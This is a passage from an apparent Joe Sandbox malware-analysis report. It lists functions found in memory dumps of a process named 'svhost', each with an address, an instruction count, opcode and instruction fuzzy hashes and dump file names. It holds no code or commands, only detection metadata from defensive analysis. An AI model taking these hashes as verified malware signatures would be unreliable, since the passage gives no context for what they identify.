Instruction Fuzzy Hash: 5E116A3664E3D44FC3438B34E869A503FB1AF0B214B5A44DBD484CF2B3DA659C09CB61

Uniqueness

Uniqueness Score: -1.00%

Function 056B63A0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d675938f45bf17592e1481f9d9a49033c999594fd3ecf42cc1e0638174a90fae
Instruction ID: 100ce765db1883423bade24253dbf6b99fc4e084d864eb7be2e391126d077afc
Opcode Fuzzy Hash: d675938f45bf17592e1481f9d9a49033c999594fd3ecf42cc1e0638174a90fae
Instruction Fuzzy Hash: 7711C271E052189BEB04EBAAC8042EEBBBAEF89301F04D13AD506B3344DBB45585CB91

Uniqueness

Uniqueness Score: -1.00%

Function 056B6C3F Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d9061430d9c7fd219610b1a7aff7bedc90e53ef2d575df0b2c854622154b51e
Instruction ID: 309edf910b3c4cea2afefdb2bf553f720d1eecf97df3a824e9bb983c75d9f56f
Opcode Fuzzy Hash: 7d9061430d9c7fd219610b1a7aff7bedc90e53ef2d575df0b2c854622154b51e
Instruction Fuzzy Hash: 2921F574A06258CFEB54DFA8C884BEDBBB2FB49301F104099E409A7354CB749AC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 056B734B Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b664993472c71a21c95f62a6b6a903e4d9d62bbf1ddc8a566a371805ed3bde3
Instruction ID: d9450f80a29d37b245864705e765d8e5df9d3a01fa11b8d464789448c62c27d5
Opcode Fuzzy Hash: 3b664993472c71a21c95f62a6b6a903e4d9d62bbf1ddc8a566a371805ed3bde3
Instruction Fuzzy Hash: DF210274A06258CFEB60DFA8C848BEDBBB1FB49301F105095D44AAB354CBB49AC9CF51

Uniqueness

Uniqueness Score: -1.00%

Function 056B6D27 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9a0c1ac58008f9e19b2bf5d8222219a6bcb8552908e4d9025ee106b17699717
Instruction ID: 8ef7d185655343f6522062cafe01db95bc99efef2e793cf618f7f0e51e699ece
Opcode Fuzzy Hash: a9a0c1ac58008f9e19b2bf5d8222219a6bcb8552908e4d9025ee106b17699717
Instruction Fuzzy Hash: DC21EDB4A06258CBEB64DF68C894AE9BBB2FB49301F1050A9E409A7354CB749AC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 056B74DA Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbeca9d28aea4fcb8d44b5b442527dfc08874d02af5716b4bf913853817a381d
Instruction ID: 19521cfaf93df7bec049ac65eaea62042888a7cab860075345df35fdf4da6c5e
Opcode Fuzzy Hash: dbeca9d28aea4fcb8d44b5b442527dfc08874d02af5716b4bf913853817a381d
Instruction Fuzzy Hash: A521B2B4905258CFEB11DFA8D885BECBBB1FB09302F105099E409AB254CBB4A9C5CF55

Uniqueness

Uniqueness Score: -1.00%

Function 056B6E1C Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fed63c231f4be8542e70e56bb44fc1ad6a40e4791b8f65829058461c40e42d1
Instruction ID: 708085ce630ef4528ec306f016310dc54a42242677228bb61083ef41171cff46
Opcode Fuzzy Hash: 2fed63c231f4be8542e70e56bb44fc1ad6a40e4791b8f65829058461c40e42d1
Instruction Fuzzy Hash: 95211474906258CFEB50DFA8D448BECBBF1FB49305F1050A5E409AB260CBB49AC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 056B63B0 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbb5e7722b3c6abb9650b69459bbcb208f6a4a71dd2a6470736ca91709c40f37
Instruction ID: 6248f4cc7fccd04960ffaecd6f8d9b491974796922c77c762ee949e6c1d74598
Opcode Fuzzy Hash: dbb5e7722b3c6abb9650b69459bbcb208f6a4a71dd2a6470736ca91709c40f37
Instruction Fuzzy Hash: 3D01C831E05219CBDB04DFAAD8446EEBBB6FF89301F049139D506B3344DBB45585CB91

Uniqueness

Uniqueness Score: -1.00%

Function 056B72E6 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a974ec69a50b6d3a2313031ad58b201599978a28cae4a214e3186c3c55133416
Instruction ID: 0ae03f0e354f8c58aa89d1ebc33ab28a8c0989d14bb5e1b16d8e74c4d162e111
Opcode Fuzzy Hash: a974ec69a50b6d3a2313031ad58b201599978a28cae4a214e3186c3c55133416
Instruction Fuzzy Hash: BD21A0B4A06258CBEB54DF58D848BEDBBB1FB49301F109099E409A7354CB749AC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 056B6BE2 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a10acc1ecf1ed99fd2d4c865856b032f1d1fa963f517e7d7eddf9e23dce1fde3
Instruction ID: 45167820b1016910ef48d770ed0e2e5bd5442e5e12a13292784d7590422561e7
Opcode Fuzzy Hash: a10acc1ecf1ed99fd2d4c865856b032f1d1fa963f517e7d7eddf9e23dce1fde3
Instruction Fuzzy Hash: 53113AB490A258CFEB15DF58C895BEC7BB5FB0A301F101494D45AA7351CBB0A9C2CF51

Uniqueness

Uniqueness Score: -1.00%

Function 056B72B4 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dba86e086b7ca905f6d734eaca6a2094204d582267ee69bea6e3f981a6a325e7
Instruction ID: 419484b34314480102b3f5e746de61620bd2bfd86e9ae9c81deddccd15d97f21
Opcode Fuzzy Hash: dba86e086b7ca905f6d734eaca6a2094204d582267ee69bea6e3f981a6a325e7
Instruction Fuzzy Hash: FD21E4B4905258CFEB21DF58C848AEDBBB1FB49301F105095D409AB354C7B49AC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 056B6CAE Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffd39dc56311845861fbc8f663135dec053ab17f6ecc5372e876cfa8717e543b
Instruction ID: a54ea5e8d06bee85982c7482c9b67d9ae9251254f8b9837dec728d4a865978dd
Opcode Fuzzy Hash: ffd39dc56311845861fbc8f663135dec053ab17f6ecc5372e876cfa8717e543b
Instruction Fuzzy Hash: CC21BFB4905258CBEBA4DF68C884BECBBB1FB09301F105099D44AA7354CBB45AC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 03108650 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.423654113.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3100000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91ad6200edcdc64b0f0ea8217226e3e480196c2d3c2a01dd4a3d5f4836d848f3
Instruction ID: 568138477daab406c6ad898bbdbcdfd19d61e932356ca10d2437f7061e52d5e6
Opcode Fuzzy Hash: 91ad6200edcdc64b0f0ea8217226e3e480196c2d3c2a01dd4a3d5f4836d848f3
Instruction Fuzzy Hash: 46117030D0D38CDFCB12DFA8D9686ACBFB1AB06201F1A41D6D444EB392C7345A84CB51

Uniqueness

Uniqueness Score: -1.00%

Function 056B72E1 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7440635b07d6136804ceb42cf99037f93513fd253f6c72ea52b097cf397e46e6
Instruction ID: fd1ec17ba2f4254324f82f1225c6f5fab7d95476e53e752a1f4a6434cd0cf0a2
Opcode Fuzzy Hash: 7440635b07d6136804ceb42cf99037f93513fd253f6c72ea52b097cf397e46e6
Instruction Fuzzy Hash: B421CFB4906258CBEB60DF58C884BECBBB1FB49301F105494E409AB254CBB49AC5CF91

Uniqueness

Uniqueness Score: -1.00%

Function 056B71C3 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 040b8fc7246bfea619d576e36534697695fd63753a830ca8b7ff7625daa0ff80
Instruction ID: 4894b1535af9161eb273cda0a4de118ec5253376aab720c456560d1bde97c505
Opcode Fuzzy Hash: 040b8fc7246bfea619d576e36534697695fd63753a830ca8b7ff7625daa0ff80
Instruction Fuzzy Hash: BF11E374D0A258CFEB11DFA8C844AECBBB1FB0A301F101099E409A7355CBB49AC5CF55

Uniqueness

Uniqueness Score: -1.00%

Function 056B6DD1 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 164b0b76ca345d3f467d3c07c394ad48aaaaf83085d45dd2959181f98cbd6c95
Instruction ID: 0f44caaabb988819cb0cb92951de920a7fa37fa37e1610b6878bf5e05faff4ba
Opcode Fuzzy Hash: 164b0b76ca345d3f467d3c07c394ad48aaaaf83085d45dd2959181f98cbd6c95
Instruction Fuzzy Hash: 1C21D0B4906259CFEB64DF58C848BECBBB1FB09301F0010A4E419A7765CBB49AC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 056B750D Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cbfcd1a6310de9b149b9bbd2d506fc16fbd9458fccb722037beb35f885435d4
Instruction ID: 082fc04fb58a773bb31235dcec73bbc72fd33601d7e8ed7e5a0327490b711743
Opcode Fuzzy Hash: 4cbfcd1a6310de9b149b9bbd2d506fc16fbd9458fccb722037beb35f885435d4
Instruction Fuzzy Hash: 0E119DB4906258CFEB65DF68C848BECBBB1FB09301F105499E409A7365CBB49AC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 056B748B Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3a452d0ee992b16e8d455c29369a42bb70265b85fa50707efc1c11f810743a2
Instruction ID: 6c3e779fb50ced09029dad4ee17b8a077510ef43f6af8d02ea335e23ef16929f
Opcode Fuzzy Hash: a3a452d0ee992b16e8d455c29369a42bb70265b85fa50707efc1c11f810743a2
Instruction Fuzzy Hash: 2611BFB4906258CFEB54DFA8C848AECBBB1FB09311F105199E419AB254CBB499C5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 056B73CA Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d388db24e56251905ca69717695be1a6ab87c9a86e92a31c58f1efe297372e54
Instruction ID: 0599702f74f316597a847da40dfc663ae20981fbe47e378562983ecd950bca9c
Opcode Fuzzy Hash: d388db24e56251905ca69717695be1a6ab87c9a86e92a31c58f1efe297372e54
Instruction Fuzzy Hash: 1711B3B4D06258CFEB24DF68C8447ECBBB1FB49301F1094A5D50AA7254CBB49AC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 056B6D9C Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 356b81727894c73f8a3f5d3d6230233110b5654ffe11c009e40f6204a68514e9
Instruction ID: c1cc55e3b1e6909e83a40c8070c5d52b790c2c1af4112aed2b348271d95f81b4
Opcode Fuzzy Hash: 356b81727894c73f8a3f5d3d6230233110b5654ffe11c009e40f6204a68514e9
Instruction Fuzzy Hash: D811DFB4D06258CFEB24DFA8C848BECBBB5FB49301F105099E519AB254CBB499C6CF51

Uniqueness

Uniqueness Score: -1.00%

Function 056BEE76 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 320504adbeaaff8a9f10eec2ab779c62059e5e4f1ff82e95d827edf3f01ae2b1
Instruction ID: a3c724bd3a0516dd6367193d7fccf5596c60ba3f0634acefceb689b126aa1320
Opcode Fuzzy Hash: 320504adbeaaff8a9f10eec2ab779c62059e5e4f1ff82e95d827edf3f01ae2b1
Instruction Fuzzy Hash: FA110774A0225C8FC754EF68D9547DABBB2FB89300F1081AA950AAB348CB745E84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 056B0006 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d92f97d9f418712c3bfab9499fc3f34e2b7b43bb28b064ae57213917abf74188
Instruction ID: 60bd1231313ed71c3f1438469e57415849c41b8fd249b22e9f9f1350e65d7e4b
Opcode Fuzzy Hash: d92f97d9f418712c3bfab9499fc3f34e2b7b43bb28b064ae57213917abf74188
Instruction Fuzzy Hash: 52111B7080D3889FDB06DFA8DD55799BFB4BF0A304F1885EAD84497262E7345685CB11

Uniqueness

Uniqueness Score: -1.00%

Function 056B47B0 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbed701a34957ab89c36215d115efe1021aaf23c338b1e31a18a89fae68ae2a9
Instruction ID: fea3ede882a03f6aef1b3cde014d3a0075b685ba37dd751fc0583dfca9016021
Opcode Fuzzy Hash: fbed701a34957ab89c36215d115efe1021aaf23c338b1e31a18a89fae68ae2a9
Instruction Fuzzy Hash: 5601AD30909208EFCB10EFB8ED486ADBBB1EF46301F1480A9C804A3355DF325A81CB81

Uniqueness

Uniqueness Score: -1.00%

Function 056BBA58 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fead6f6ba885e052042312b8d3c478996b15a2548e66006258609cd2955b4d8
Instruction ID: 734b7693d3d3970707f56b1985c8da9b2e0d5f2d3df0bbc88663cd177f96910c
Opcode Fuzzy Hash: 4fead6f6ba885e052042312b8d3c478996b15a2548e66006258609cd2955b4d8
Instruction Fuzzy Hash: C3014B78E1414CDFCB10DFA4D9516ACBBB1FB49311F1482DAD828933A4DA359B42DB40

Uniqueness

Uniqueness Score: -1.00%

Function 056B6BFC Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e41094d75ed737158f8fdf27064d11eaee67c8948a41b177879e96138d9b749
Instruction ID: 86439e1c9ed7a8a4df29a58a1df91e597ccb9015f55c7b115dd00b20adc7a10b
Opcode Fuzzy Hash: 4e41094d75ed737158f8fdf27064d11eaee67c8948a41b177879e96138d9b749
Instruction Fuzzy Hash: 3F01EE74A0A258CFEB54DF98D884AECBBB1FB09301F101094E419AB324CBB0AAC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 056B6360 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94695c95ff3baa4e007687d9eaf43cffd835ddcd31e6781ba1e1ce62fc833d4e
Instruction ID: 3cce129da416b7b137b6c0b711ac04917c5ef5d0403202b21964f833644530d1
Opcode Fuzzy Hash: 94695c95ff3baa4e007687d9eaf43cffd835ddcd31e6781ba1e1ce62fc833d4e
Instruction Fuzzy Hash: DEF0BE3690410CEBCB04EFA8E985BDCBFB0EB42304F2482E9C80467354DF725A56CB81

Uniqueness

Uniqueness Score: -1.00%

Function 056BBA10 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ddcc97c1786300e5d06bd5759e92ae197929213a04fa114d3af8e268008afd8
Instruction ID: 7282e70f9dc211de12b4ef9d12b462ff690f8dd844663bd5a9b0bd903fa48be0
Opcode Fuzzy Hash: 0ddcc97c1786300e5d06bd5759e92ae197929213a04fa114d3af8e268008afd8
Instruction Fuzzy Hash: 9CF08C71D05108EBCB21EFB8DA457EDBBB0EB45200F1485E9884993654EE325B54E741

Uniqueness

Uniqueness Score: -1.00%

Function 056BB509 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fecaff0eac2f3c8036c7a47356011759482acbfb1622636f8046d7795928d5f1
Instruction ID: 6e8a171203c35dfbdc29ab1e678874d60791d9bc6ad7a284fed443e1976ba665
Opcode Fuzzy Hash: fecaff0eac2f3c8036c7a47356011759482acbfb1622636f8046d7795928d5f1
Instruction Fuzzy Hash: BCE0C975D05208AFD724EFA8DA4579DBBB4EB45310F6080B9D804A3344D7759685DF81

Uniqueness

Uniqueness Score: -1.00%

Function 056B0040 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b854d1990806867685e971fd0367c42ddc0b7755d3cc8d577593e219d5e0268
Instruction ID: ca0c0f59f1b2b8c2186445d76f7a0626628e99f6d289886a65963b9a593ea5d3
Opcode Fuzzy Hash: 1b854d1990806867685e971fd0367c42ddc0b7755d3cc8d577593e219d5e0268
Instruction Fuzzy Hash: E6F0F874D0420CEFCB44EFA8D8446EEBFF9FB48300F1081AAD818A3214E7705691DB50

Uniqueness

Uniqueness Score: -1.00%

Function 03100048 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.423654113.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3100000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5295e58154e5e34422f38f79d5f8445447bd0617ae2d06e1d762acc380b6e120
Instruction ID: 88705c7d761ac47896b6cb1c104b91a9194efd69849892310312f0c2b5bf1d42
Opcode Fuzzy Hash: 5295e58154e5e34422f38f79d5f8445447bd0617ae2d06e1d762acc380b6e120
Instruction Fuzzy Hash: F6E0C9353402149FD758DA39D845F5A7BA5EF89620F5180A5F5098B3A1DA71EC018B90

Uniqueness

Uniqueness Score: -1.00%

Function 056BC808 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34f2a1990809f202a47d09277d9d69dc18f9c70ebc53600c0f9017063568dbcd
Instruction ID: c5a11b85615cb2d034c014ea2fa2a081b2cfdcb37bb776ad93015b0b8e4bb5db
Opcode Fuzzy Hash: 34f2a1990809f202a47d09277d9d69dc18f9c70ebc53600c0f9017063568dbcd
Instruction Fuzzy Hash: 67F03934D04248AFC725EFA8D8456ACBFB0EB55200F14C2EAEC44A7341D631AA56DB85

Uniqueness

Uniqueness Score: -1.00%

Function 056B5890 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8363bac82d32b23ca9e8bd43374910633f3f0053bc26dba0a19eaa04cca9d820
Instruction ID: 5a9f42a58ecc525d21bbfa2a4c948cc80ab08784202cdafe3114879a5a99c652
Opcode Fuzzy Hash: 8363bac82d32b23ca9e8bd43374910633f3f0053bc26dba0a19eaa04cca9d820
Instruction Fuzzy Hash: 85F01575E00208AFCB94EFA8E84579CBBB1EB58300F14C1A9D808A3340E6369A95DF40

Uniqueness

Uniqueness Score: -1.00%

Function 056B4371 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a62006f3e0df9bd8c833cf16b8eb9335c158a638c19b0b39c5410c231bc636ca
Instruction ID: 23ecdaf6e38234f2d7e03d604a5d6b628835b7529b3c859c8799e4148dd9960a
Opcode Fuzzy Hash: a62006f3e0df9bd8c833cf16b8eb9335c158a638c19b0b39c5410c231bc636ca
Instruction Fuzzy Hash: 7FE0DF32905208EBC711EBB8EC486CE7BA5EB96A00F5040E2C141A7659EF319A40CB52

Uniqueness

Uniqueness Score: -1.00%

Function 056B5928 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fa702fa33a929b909dec2ed5c1494612c122b7a8828e6925d9cfac983ac55ff
Instruction ID: 7ce9f9db1ccda698f4144ac8abad28def53025cc0fef4938af8f8a6e67cea82e
Opcode Fuzzy Hash: 9fa702fa33a929b909dec2ed5c1494612c122b7a8828e6925d9cfac983ac55ff
Instruction Fuzzy Hash: 19F0C975E04248EFCB54EFA8E95579DBBF1EB48304F1481A9D848E3340D7369A56CF81

Uniqueness

Uniqueness Score: -1.00%

Function 056B92D0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcd09555db4476b76f0bcc1ae07514a7c99bc06c6dd47420d001c396483ce97d
Instruction ID: 5ecd1221fa8c15da8701b4fcd21ce4d6a12e3432bbf21dbc361cd7b13cd72de3
Opcode Fuzzy Hash: bcd09555db4476b76f0bcc1ae07514a7c99bc06c6dd47420d001c396483ce97d
Instruction Fuzzy Hash: 56F09D7090522ACAEBA4DF68C958BEDB7B2BB89304F1001F9E409B3240C7B65EC1CF44

Uniqueness

Uniqueness Score: -1.00%

Function 056BEF60 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca0dcea23804ad9e45b653cb8966686333aff0fe2853911d3e77af9ce1e6426b
Instruction ID: 873059ed2da91a11fe2cea0bb00b8b9e8f21be9a75b0be1a18b67f02aee0b064
Opcode Fuzzy Hash: ca0dcea23804ad9e45b653cb8966686333aff0fe2853911d3e77af9ce1e6426b
Instruction Fuzzy Hash: FEF05EB494915D8BDB28CF18D9443EE77B2EB49301F0040A9860967784DB744E85CF80

Uniqueness

Uniqueness Score: -1.00%

Function 056BFB60 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
